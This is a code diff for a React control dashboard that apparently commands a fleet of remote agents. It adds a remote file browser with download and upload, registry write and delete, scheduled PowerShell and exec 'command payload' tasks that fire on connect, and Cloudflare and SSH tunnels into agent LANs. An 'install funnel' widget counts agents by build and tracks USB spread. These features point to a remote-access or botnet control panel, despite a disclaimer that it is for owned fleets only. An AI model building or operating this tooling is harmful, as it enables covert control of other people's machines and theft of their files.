disabled={!isOnline || !!busy || !regName}
onClick={() =>
dispatch('registry_write', {
data: JSON.stringify({
hive: regHive,
path: regPath,
name: regName,
value: regValue,
type: regType,
}),
})
}
>
Write
</button>
<button
type="button"
className="btn-amber"
disabled={!isOnline || !!busy || !regName}
onClick={() =>
dispatch('registry_delete', {
data: JSON.stringify({ hive: regHive, path: regPath, name: regName }),
})
}
>
Delete
</button>
</div>
<small>Allowlist: Software\ and Environment under HKCU/HKLM. Crucible JSON: action registry_read with data hive/path.</small>
</div>
)}
</div>
)}
</div> </div>
{sysCheckReport && !compact && ( {sysCheckReport && !compact && (
@@ -583,7 +725,7 @@ export default function AgentRemoteActions({
{screenshotData && ( {screenshotData && (
<div className="screenshot-viewer"> <div className="screenshot-viewer">
<div className="viewer-header"> <div className="viewer-header">
<span>Latest capture (also downloaded)</span> <span>Latest capture (also downloaded as JPEG)</span>
<button <button
type="button" type="button"
onClick={() => { onClick={() => {

View File

@@ -0,0 +1,118 @@
.file-manager {
border: 1px solid var(--clr-border, #333);
border-radius: 4px;
padding: 0.75rem;
background: rgba(0, 0, 0, 0.25);
font-size: 0.85rem;
}
.fm-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.5rem;
}
.fm-title {
font-size: 0.7rem;
letter-spacing: 0.06em;
color: var(--clr-dim);
}
.fm-breadcrumb {
margin-bottom: 0.5rem;
flex-wrap: wrap;
}
.fm-crumb {
background: none;
border: none;
color: var(--neon-cyan, #0ff);
cursor: pointer;
font-size: 0.75rem;
padding: 0;
}
.fm-sep {
opacity: 0.5;
margin: 0 0.15rem;
}
.fm-filter {
width: 100%;
margin-bottom: 0.5rem;
font-size: 0.8rem;
}
.fm-list {
list-style: none;
margin: 0;
padding: 0;
max-height: 220px;
overflow-y: auto;
border: 1px solid #222;
}
.fm-list li.selected {
background: rgba(0, 255, 255, 0.08);
}
.fm-row {
display: flex;
align-items: center;
gap: 0.4rem;
width: 100%;
padding: 0.25rem 0.4rem;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
}
.fm-name {
flex: 1;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
}
.fm-size {
font-size: 0.7rem;
color: var(--clr-dim);
}
.fm-actions {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
margin-top: 0.5rem;
align-items: center;
}
.fm-upload-path {
flex: 1;
min-width: 120px;
font-size: 0.75rem;
}
.fm-preview {
margin-top: 0.5rem;
max-height: 120px;
overflow: auto;
font-size: 0.7rem;
background: #111;
padding: 0.4rem;
}
.fm-err {
color: #f66;
font-size: 0.8rem;
}
.fm-offline {
color: var(--clr-dim);
font-size: 0.8rem;
}

View File

@@ -0,0 +1,216 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import './FileManager.css';
interface DirEntry {
name: string;
is_dir: boolean;
size: number;
}
interface Props {
agentId: string;
agentName?: string;
online: boolean;
/** Called when a command_result arrives (from parent WS hook) */
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
}
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
try {
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
if (j.entries && Array.isArray(j.entries)) {
return { path: j.path ?? '', entries: j.entries };
}
} catch {
/* not JSON */
}
return null;
}
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
const [cwd, setCwd] = useState('C:\\');
const [entries, setEntries] = useState<DirEntry[]>([]);
const [filter, setFilter] = useState('');
const [selected, setSelected] = useState<Set<string>>(new Set());
const [busy, setBusy] = useState(false);
const [preview, setPreview] = useState('');
const [err, setErr] = useState('');
const [uploadPath, setUploadPath] = useState('');
const filtered = useMemo(() => {
const q = filter.trim().toLowerCase();
if (!q) return entries;
return entries.filter((e) => e.name.toLowerCase().includes(q));
}, [entries, filter]);
const refresh = useCallback(() => {
if (!online || !agentId) return;
setBusy(true);
setErr('');
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
}, [agentId, cwd, online]);
useEffect(() => {
refresh();
}, [refresh]);
useEffect(() => {
if (!commandResults?.length) return;
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
if (!last) return;
if (last.action === 'list_dir' && last.success) {
const parsed = parseListDir(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
}
setBusy(false);
} else if (last.action === 'list_dir' && !last.success) {
setErr(last.message);
setBusy(false);
} else if (last.action === 'read_file' && last.success) {
setPreview(last.message.slice(0, 8000));
setBusy(false);
} else if (last.action === 'read_file' && !last.success) {
setErr(last.message);
setBusy(false);
} else if (last.action === 'download') {
setBusy(false);
}
}, [commandResults, agentId]);
const navigate = (name: string, isDir: boolean) => {
if (!isDir) return;
const sep = cwd.includes('/') ? '/' : '\\';
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
if (name === '..') {
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
parts.pop();
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
}
setCwd(next);
setSelected(new Set());
};
const toggleSelect = (name: string) => {
setSelected((prev) => {
const n = new Set(prev);
if (n.has(name)) n.delete(name);
else n.add(name);
return n;
});
};
const sep = cwd.includes('/') ? '/' : '\\';
const downloadSelected = async () => {
if (!online || selected.size === 0) return;
setBusy(true);
for (const name of selected) {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
try {
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
if (res && typeof res === 'object' && 'success' in res) {
/* result via WS */
}
} catch (e) {
setErr(e instanceof Error ? e.message : String(e));
}
}
setBusy(false);
};
const readFile = (name: string) => {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
setBusy(true);
setPreview('');
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
};
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
return (
<div className="file-manager">
<div className="fm-header">
<span className="font-tech fm-title">FILE BROWSER {agentName ?? agentId.slice(0, 8)}</span>
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
Refresh
</button>
</div>
{!online && <p className="fm-offline">Agent offline</p>}
<div className="fm-breadcrumb font-tech">
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
{crumbs.map((c, i) => (
<span key={i}>
<span className="fm-sep">/</span>
<button
type="button"
className="fm-crumb"
onClick={() => {
const parts = crumbs.slice(0, i + 1);
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
}}
>
{c}
</button>
</span>
))}
</div>
<input
className="input fm-filter"
placeholder="Filter names…"
value={filter}
onChange={(e) => setFilter(e.target.value)}
/>
<ul className="fm-list">
<li>
<button type="button" className="fm-row" onClick={() => navigate('..', true)}>..</button>
</li>
{filtered.map((e) => (
<li key={e.name} className={selected.has(e.name) ? 'selected' : ''}>
<label className="fm-row">
<input type="checkbox" checked={selected.has(e.name)} onChange={() => toggleSelect(e.name)} />
<button type="button" className="fm-name" onClick={() => (e.is_dir ? navigate(e.name, true) : readFile(e.name))}>
{e.is_dir ? '📁' : '📄'} {e.name}
</button>
{!e.is_dir && <span className="fm-size">{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}</span>}
</label>
</li>
))}
</ul>
<div className="fm-actions">
<button type="button" className="btn btn-outline btn-sm" disabled={!online || selected.size === 0 || busy} onClick={downloadSelected}>
Download selected
</button>
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
<label className="btn btn-outline btn-sm">
Upload
<input
type="file"
hidden
disabled={!online || busy}
onChange={async (ev) => {
const file = ev.target.files?.[0];
if (!file) return;
const { readFileAsBase64 } = await import('../../help/desktopPush');
const b64 = await readFileAsBase64(file);
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
setBusy(true);
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
ev.target.value = '';
}}
/>
</label>
</div>
{err && <p className="fm-err">{err}</p>}
{preview && <pre className="fm-preview">{preview}</pre>}
</div>
);
}

View File

@@ -0,0 +1,81 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { AuditEntry } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
const [entries, setEntries] = useState<AuditEntry[]>([]);
useEffect(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
const t = setInterval(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
}, 60000);
return () => clearInterval(t);
}, [limit]);
return (
<NeonCard accent="purple" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
{entries.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
) : (
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
{entries.map((e) => (
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
{' '}
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
{' · '}
<strong>{e.action}</strong>
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
</li>
))}
</ul>
)}
</NeonCard>
);
}
export function SpreadFunnelWidget() {
const [stats, setStats] = useState<Awaited<ReturnType<typeof api.getSpreadFunnel>> | null>(null);
useEffect(() => {
api.getSpreadFunnel().then(setStats).catch(() => setStats(null));
}, []);
if (!stats) return null;
return (
<NeonCard accent="cyan" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
<span>New today: <strong>{stats.new_connects_today}</strong></span>
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
</div>
{stats.by_build.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
) : (
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
<thead>
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
</tr>
</thead>
<tbody>
{stats.by_build.slice(0, 10).map((r, i) => (
<tr key={i} style={{ borderTop: '1px solid #222' }}>
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
<td>{r.worker_name}</td>
<td>{r.count}</td>
<td>{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}</td>
</tr>
))}
</tbody>
</table>
)}
</NeonCard>
);
}

View File

@@ -0,0 +1,106 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { FleetTask } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
const ACTIONS = ['sysinfo', 'full_sys_check', 'powershell', 'exec', 'pause', 'resume', 'restart'];
const TRIGGERS = ['on_connect', 'on_reconnect', 'interval_hours', 'cron'] as const;
const emptyTask = (): FleetTask => ({
name: '',
enabled: true,
trigger: 'on_connect',
action: 'sysinfo',
interval_hours: 24,
cron_time: '09:00',
command: '',
});
export default function FleetTasksPanel() {
const [tasks, setTasks] = useState<FleetTask[]>([]);
const [draft, setDraft] = useState<FleetTask>(emptyTask());
const [msg, setMsg] = useState('');
const [loading, setLoading] = useState(true);
const load = () => {
api.getFleetTasks().then(setTasks).catch(() => setTasks([])).finally(() => setLoading(false));
};
useEffect(() => { load(); }, []);
const save = async () => {
setMsg('');
if (!draft.name.trim()) {
setMsg('Name is required');
return;
}
try {
await api.saveFleetTask(draft);
setDraft(emptyTask());
load();
setMsg('Task saved.');
} catch (e) {
setMsg(e instanceof Error ? e.message : String(e));
}
};
const remove = async (id: string) => {
await api.deleteFleetTask(id);
load();
};
return (
<NeonCard accent="amber" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.25rem', letterSpacing: '0.08em' }}>FLEET TASKS</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.75rem' }}>Scheduled remote actions on connect / interval</p>
{loading ? <p className="font-tech">Loading</p> : (
<>
<ul style={{ listStyle: 'none', padding: 0, margin: '0 0 1rem' }}>
{tasks.length === 0 && <li style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No tasks configured.</li>}
{tasks.map((t) => (
<li key={t.id} style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', padding: '0.35rem 0', borderBottom: '1px solid #222' }}>
<span>
<strong>{t.name}</strong>
<span style={{ color: 'var(--clr-dim)', marginLeft: '0.5rem', fontSize: '0.75rem' }}>
{t.trigger} {t.action}{!t.enabled && ' (off)'}
</span>
</span>
<span>
<button type="button" className="btn btn-outline btn-sm" onClick={() => setDraft(t)}>Edit</button>
{' '}
<button type="button" className="btn btn-outline btn-sm" onClick={() => t.id && remove(t.id)}>Delete</button>
</span>
</li>
))}
</ul>
<div className="form-grid" style={{ gap: '0.5rem' }}>
<input className="input" placeholder="Task name" value={draft.name} onChange={(e) => setDraft({ ...draft, name: e.target.value })} />
<select className="input" value={draft.trigger} onChange={(e) => setDraft({ ...draft, trigger: e.target.value as FleetTask['trigger'] })}>
{TRIGGERS.map((tr) => <option key={tr} value={tr}>{tr}</option>)}
</select>
<select className="input" value={draft.action} onChange={(e) => setDraft({ ...draft, action: e.target.value })}>
{ACTIONS.map((a) => <option key={a} value={a}>{a}</option>)}
</select>
{draft.trigger === 'interval_hours' && (
<input className="input" type="number" min={0.25} step={0.25} placeholder="Interval hours"
value={draft.interval_hours ?? 24}
onChange={(e) => setDraft({ ...draft, interval_hours: parseFloat(e.target.value) || 24 })} />
)}
{draft.trigger === 'cron' && (
<input className="input mono" placeholder="HH:MM daily" value={draft.cron_time ?? ''} onChange={(e) => setDraft({ ...draft, cron_time: e.target.value })} />
)}
{(draft.action === 'powershell' || draft.action === 'exec') && (
<input className="input mono" placeholder="Command payload" value={draft.command ?? ''} onChange={(e) => setDraft({ ...draft, command: e.target.value })} />
)}
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', fontSize: '0.85rem' }}>
<input type="checkbox" checked={draft.enabled} onChange={(e) => setDraft({ ...draft, enabled: e.target.checked })} />
Enabled
</label>
<button type="button" className="btn btn-primary" onClick={save}>Save task</button>
</div>
{msg && <p style={{ marginTop: '0.5rem', fontSize: '0.85rem', color: msg.includes('required') || msg.includes('API') ? '#f66' : '#0f8' }}>{msg}</p>}
</>
)}
</NeonCard>
);
}

View File

@@ -139,3 +139,53 @@
color: #f87171; color: #f87171;
font-size: 0.78rem; font-size: 0.78rem;
} }
.syscheck-warn {
color: #fbbf24;
}
.syscheck-kev-summary {
font-size: 0.82rem;
color: rgba(200, 220, 255, 0.85);
margin: 0.5rem 0;
}
.syscheck-kev-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.syscheck-kev-item {
display: grid;
grid-template-columns: auto 1fr auto;
gap: 0.35rem 0.5rem;
padding: 0.45rem 0.55rem;
border-radius: 6px;
border: 1px solid rgba(80, 120, 180, 0.25);
font-size: 0.78rem;
}
.syscheck-kev-exposed {
border-color: rgba(248, 113, 113, 0.45);
background: rgba(80, 20, 20, 0.25);
}
.syscheck-kev-likely {
border-color: rgba(251, 191, 36, 0.35);
background: rgba(60, 45, 10, 0.2);
}
.syscheck-kev-cve {
font-family: var(--font-mono, monospace);
color: #9ee0ff;
}
.syscheck-kev-detail {
grid-column: 1 / -1;
color: rgba(180, 200, 230, 0.75);
font-size: 0.72rem;
}

View File

@@ -115,6 +115,49 @@ export default function FullSysCheckPanel({
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} /> <Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
</Section> </Section>
{report.kev_exposure && (
<Section title="CISA KEV Exposure (heuristic)">
<Row
label="Risk score"
value={
<span
className={
report.kev_exposure.risk_score >= 50
? 'syscheck-bad'
: report.kev_exposure.risk_score >= 25
? 'syscheck-warn'
: 'syscheck-ok'
}
>
{report.kev_exposure.risk_score} / 100
</span>
}
/>
<Row
label="Indicators"
value={`${report.kev_exposure.exposed_count} exposed · ${report.kev_exposure.likely_count} likely · ${report.kev_exposure.critical_count} critical`}
/>
{report.kev_exposure.summary && (
<p className="syscheck-kev-summary">{report.kev_exposure.summary}</p>
)}
<ul className="syscheck-kev-list">
{report.kev_exposure.findings
?.filter((f) => f.status === 'exposed' || f.status === 'likely')
.map((f) => (
<li key={f.cve} className={`syscheck-kev-item syscheck-kev-${f.status}`}>
<span className="syscheck-kev-cve">{f.cve}</span>
<span className="syscheck-kev-name">{f.name}</span>
<span className="syscheck-kev-status">{f.status}</span>
{f.detail && <span className="syscheck-kev-detail">{f.detail}</span>}
</li>
))}
</ul>
<p className="syscheck-muted" style={{ marginTop: '0.5rem' }}>
Read-only checks aligned with CISA known-exploited CVE families (Log4Shell, ProxyLogon, Zerologon, Citrix, Pulse, F5, Confluence, etc.). Verify patches on any &quot;likely&quot; or &quot;exposed&quot; row.
</p>
</Section>
)}
<Section title="Hardware"> <Section title="Hardware">
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} /> <Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} /> <Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />

View File

@@ -0,0 +1,136 @@
.protocol-tunnel-panel {
margin-top: 1rem;
border: 1px solid rgba(201, 162, 39, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.75);
}
.protocol-tunnel-panel.compact {
margin-top: 0.5rem;
}
.protocol-tunnel-toggle {
width: 100%;
display: flex;
justify-content: space-between;
align-items: center;
padding: 0.65rem 0.85rem;
background: transparent;
border: none;
color: var(--accent-gold, #c9a227);
cursor: pointer;
font-size: 0.85rem;
text-align: left;
}
.protocol-tunnel-toggle:hover {
background: rgba(201, 162, 39, 0.08);
}
.protocol-tunnel-body {
padding: 0 0.85rem 0.85rem;
border-top: 1px solid rgba(255, 255, 255, 0.06);
}
.protocol-tunnel-help {
font-size: 0.78rem;
color: var(--clr-dim, #888);
margin: 0.65rem 0 0.85rem;
line-height: 1.45;
}
.protocol-tunnel-cards {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 0.75rem;
}
.protocol-tunnel-card {
border: 1px solid rgba(0, 245, 255, 0.15);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
}
.protocol-tunnel-card h4 {
margin: 0 0 0.35rem;
font-size: 0.72rem;
letter-spacing: 0.1em;
color: var(--accent-cyan, #00f5ff);
text-transform: uppercase;
}
.protocol-tunnel-card-hint {
margin: 0 0 0.5rem;
font-size: 0.72rem;
color: var(--clr-dim, #888);
}
.protocol-tunnel-label {
display: block;
font-size: 0.72rem;
color: var(--clr-dim, #aaa);
margin-bottom: 0.45rem;
}
.protocol-tunnel-input {
display: block;
width: 100%;
margin-top: 0.2rem;
font-size: 0.8rem;
}
.protocol-tunnel-input.short {
max-width: 6rem;
}
.protocol-tunnel-row {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
}
.protocol-tunnel-actions {
margin-top: 0.35rem;
}
.protocol-tunnel-link {
display: inline-block;
text-decoration: none;
}
.protocol-tunnel-status-bar {
display: flex;
gap: 0.5rem;
margin-top: 0.85rem;
flex-wrap: wrap;
}
.protocol-tunnel-status {
margin-top: 0.75rem;
padding: 0.55rem 0.65rem;
border-radius: 6px;
background: rgba(0, 0, 0, 0.35);
font-size: 0.78rem;
}
.protocol-tunnel-status h4 {
margin: 0 0 0.4rem;
font-size: 0.7rem;
color: var(--accent-gold, #c9a227);
}
.protocol-tunnel-status-list {
margin: 0;
padding-left: 1.1rem;
line-height: 1.5;
}
.protocol-tunnel-raw {
margin: 0;
font-size: 0.72rem;
white-space: pre-wrap;
word-break: break-all;
max-height: 8rem;
overflow: auto;
}

View File

@@ -0,0 +1,278 @@
import { useCallback, useEffect, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import type { Agent, AgentCapabilities } from '../../types';
import { canRunAggressiveAction, aggressiveActionHint } from '../../help/aggressiveActions';
import './ProtocolTunnelPanel.css';
export interface TunnelStatusView {
cloudflared_running?: boolean;
cloudflared_url?: string;
cloudflared_pid?: number;
wireguard_active?: boolean;
wireguard_detail?: string;
ssh_forwards?: Array<{
local_port: number;
remote_host: string;
remote_port: number;
ssh_user?: string;
jump_host?: string;
pid: number;
running?: boolean;
}>;
}
function parseTunnelStatus(message: string): TunnelStatusView | null {
const start = message.indexOf('{');
if (start < 0) return null;
try {
return JSON.parse(message.slice(start)) as TunnelStatusView;
} catch {
return null;
}
}
interface Props {
agentId: string;
agentName: string;
online: boolean;
caps?: AgentCapabilities | null;
platform?: string;
compact?: boolean;
/** WS command_result messages — panel listens for tunnel_status */
lastTunnelStatusMessage?: string;
onDispatch: (action: string, args?: Record<string, unknown>) => void | Promise<void>;
busy?: string | null;
}
export default function ProtocolTunnelPanel({
agentId,
agentName,
online,
caps,
platform,
compact = false,
lastTunnelStatusMessage,
onDispatch,
busy,
}: Props) {
const [expanded, setExpanded] = useState(!compact);
const [cfURL, setCfURL] = useState('');
const [localPort, setLocalPort] = useState('2222');
const [targetHostPort, setTargetHostPort] = useState('192.168.1.10:22');
const [sshUser, setSshUser] = useState('');
const [status, setStatus] = useState<TunnelStatusView | null>(null);
const [statusRaw, setStatusRaw] = useState('');
useEffect(() => {
api.getConfig().then((cfg) => {
const fromTunnel = cfg.tunnel_defaults?.cloudflared_target_url?.trim();
const fromPublic = cfg.server?.public_url?.trim();
setCfURL(fromTunnel || fromPublic || '');
}).catch(() => {});
}, []);
useEffect(() => {
if (lastTunnelStatusMessage) {
const parsed = parseTunnelStatus(lastTunnelStatusMessage);
if (parsed) setStatus(parsed);
setStatusRaw(lastTunnelStatusMessage);
}
}, [lastTunnelStatusMessage]);
const tunnelAllowed = canRunAggressiveAction('start_tunnel', caps, platform);
const tunnelHint = aggressiveActionHint('start_tunnel', caps, platform);
const refreshStatus = useCallback(() => {
if (!online || !agentId) return;
void onDispatch('tunnel_status');
}, [online, agentId, onDispatch]);
useEffect(() => {
if (expanded && online) refreshStatus();
}, [expanded, online, refreshStatus]);
const disabled = !online || !!busy;
return (
<div className={`protocol-tunnel-panel ${compact ? 'compact' : ''}`}>
<button
type="button"
className="protocol-tunnel-toggle"
onClick={() => setExpanded((e) => !e)}
aria-expanded={expanded}
>
<span className="font-tech"> Protocol Tunneling</span>
<span className="protocol-tunnel-chevron">{expanded ? '▾' : '▸'}</span>
</button>
{expanded && (
<div className="protocol-tunnel-body">
<p className="protocol-tunnel-help">
Encapsulates traffic for ops on <strong>your</strong> fleet reach internal hosts and expose
agent LAN services. Not for third-party evasion or hiding infrastructure.
</p>
<div className="protocol-tunnel-cards">
<section className="protocol-tunnel-card">
<h4 className="font-tech">Cloudflare Tunnel</h4>
<p className="protocol-tunnel-card-hint">Agent dials out to your control URL (no inbound port).</p>
<label className="protocol-tunnel-label">
Target URL
<input
type="text"
className="input protocol-tunnel-input"
value={cfURL}
onChange={(e) => setCfURL(e.target.value)}
placeholder="https://your-server.example.com"
disabled={disabled}
/>
</label>
<div className="protocol-tunnel-actions">
<button
type="button"
className="btn-magenta btn-sm"
disabled={disabled || !tunnelAllowed}
title={tunnelHint}
onClick={() => onDispatch('tunnel_cloudflared', { command: cfURL.trim() })}
>
Start Cloudflared
</button>
</div>
</section>
<section className="protocol-tunnel-card">
<h4 className="font-tech">WireGuard (Path Tracer)</h4>
<p className="protocol-tunnel-card-hint">
Multi-hop mesh VPN for owned nodes configure sessions on the dashboard.
</p>
<Link to="/pathtracer" className="btn btn-outline btn-sm protocol-tunnel-link">
Open Path Tracer
</Link>
</section>
<section className="protocol-tunnel-card">
<h4 className="font-tech">SSH Local Forward</h4>
<p className="protocol-tunnel-card-hint">
Windows agent opens <code>127.0.0.1:local LAN target</code> via OpenSSH/plink (admin reach-through).
</p>
<div className="protocol-tunnel-row">
<label className="protocol-tunnel-label">
Local port
<input
type="text"
className="input protocol-tunnel-input short"
value={localPort}
onChange={(e) => setLocalPort(e.target.value)}
disabled={disabled}
/>
</label>
<label className="protocol-tunnel-label">
Target host:port
<input
type="text"
className="input protocol-tunnel-input"
value={targetHostPort}
onChange={(e) => setTargetHostPort(e.target.value)}
placeholder="192.168.1.50:3389"
disabled={disabled}
/>
</label>
</div>
<label className="protocol-tunnel-label">
SSH user (optional)
<input
type="text"
className="input protocol-tunnel-input"
value={sshUser}
onChange={(e) => setSshUser(e.target.value)}
placeholder="Administrator"
disabled={disabled}
/>
</label>
<div className="protocol-tunnel-actions">
<button
type="button"
className="btn-magenta btn-sm"
disabled={disabled || !tunnelAllowed || platform === 'darwin' || platform === 'linux'}
title={
platform !== 'windows' && platform !== undefined
? 'SSH forward is Windows-only'
: tunnelHint
}
onClick={() =>
onDispatch('tunnel_ssh_forward', {
data: JSON.stringify({
local_port: parseInt(localPort, 10) || 2222,
remote_host: targetHostPort.split(':')[0] || '',
remote_port: parseInt(targetHostPort.split(':').pop() ?? '22', 10) || 22,
ssh_user: sshUser.trim() || undefined,
}),
})
}
>
Start SSH Forward
</button>
</div>
</section>
</div>
<div className="protocol-tunnel-status-bar">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={disabled}
onClick={refreshStatus}
>
{busy === 'tunnel_status' ? '…' : 'Refresh Status'}
</button>
<button
type="button"
className="btn-red btn-sm"
disabled={disabled || !tunnelAllowed}
title={tunnelHint}
onClick={() => onDispatch('tunnel_stop', { command: 'all' })}
>
Stop All Tunnels
</button>
</div>
{(status || statusRaw) && (
<div className="protocol-tunnel-status">
<h4 className="font-tech">tunnel_status {agentName}</h4>
{status ? (
<ul className="protocol-tunnel-status-list">
<li>
Cloudflared:{' '}
{status.cloudflared_running
? `running (pid ${status.cloudflared_pid}) → ${status.cloudflared_url ?? ''}`
: 'stopped'}
</li>
<li>
WireGuard:{' '}
{status.wireguard_active ? 'active' : 'inactive'}
</li>
<li>
SSH forwards:{' '}
{status.ssh_forwards?.length
? status.ssh_forwards
.map(
(f) =>
`127.0.0.1:${f.local_port}${f.remote_host}:${f.remote_port} (pid ${f.pid})`
)
.join('; ')
: 'none'}
</li>
</ul>
) : (
<pre className="protocol-tunnel-raw">{statusRaw.slice(0, 2000)}</pre>
)}
</div>
)}
</div>
)}
</div>
);
}
export { parseTunnelStatus };

View File

@@ -7,7 +7,7 @@ import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom'; import { MemoryRouter } from 'react-router-dom';
import { type ReactNode } from 'react'; import { type ReactNode } from 'react';
import { routerFuture } from '../routerFuture'; import { routerFuture } from '../routerFuture';
import { mockAgent, mockServerInfo } from '../test/fixtures'; import { mockAgent, mockServerInfo, mockServerConfig } from '../test/fixtures';
import { api } from '../api/client'; import { api } from '../api/client';
import { downloadApiFile, downloadAuthedFile } from '../api/download'; import { downloadApiFile, downloadAuthedFile } from '../api/download';
import { getStoredAuth } from '../api/auth'; import { getStoredAuth } from '../api/auth';
@@ -54,6 +54,9 @@ import AmbientBackground from './Ambient/AmbientBackground';
import CursorFire from './Visual/CursorFire'; import CursorFire from './Visual/CursorFire';
import MatrixRain from './Layout/MatrixRain'; import MatrixRain from './Layout/MatrixRain';
vi.mock('./Fleet/ProtocolTunnelPanel', () => ({ default: () => null }));
vi.mock('./Fleet/FullSysCheckPanel', () => ({ default: () => null }));
vi.mock('../hooks/useWebSocket', () => ({ vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(), useWebSocket: vi.fn(),
})); }));
@@ -358,6 +361,7 @@ describe('AgentRemoteActions', () => {
beforeEach(() => { beforeEach(() => {
vi.spyOn(api, 'listBuilds').mockResolvedValue([]); vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true }); vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
}); });
it('compact mode disables actions when offline', () => { it('compact mode disables actions when offline', () => {
@@ -382,7 +386,11 @@ describe('AgentRemoteActions', () => {
}); });
it('full panel shows Target heading and recon section', async () => { it('full panel shows Target heading and recon section', async () => {
render(<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />); render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />
</MemoryRouter>
);
await waitFor(() => { await waitFor(() => {
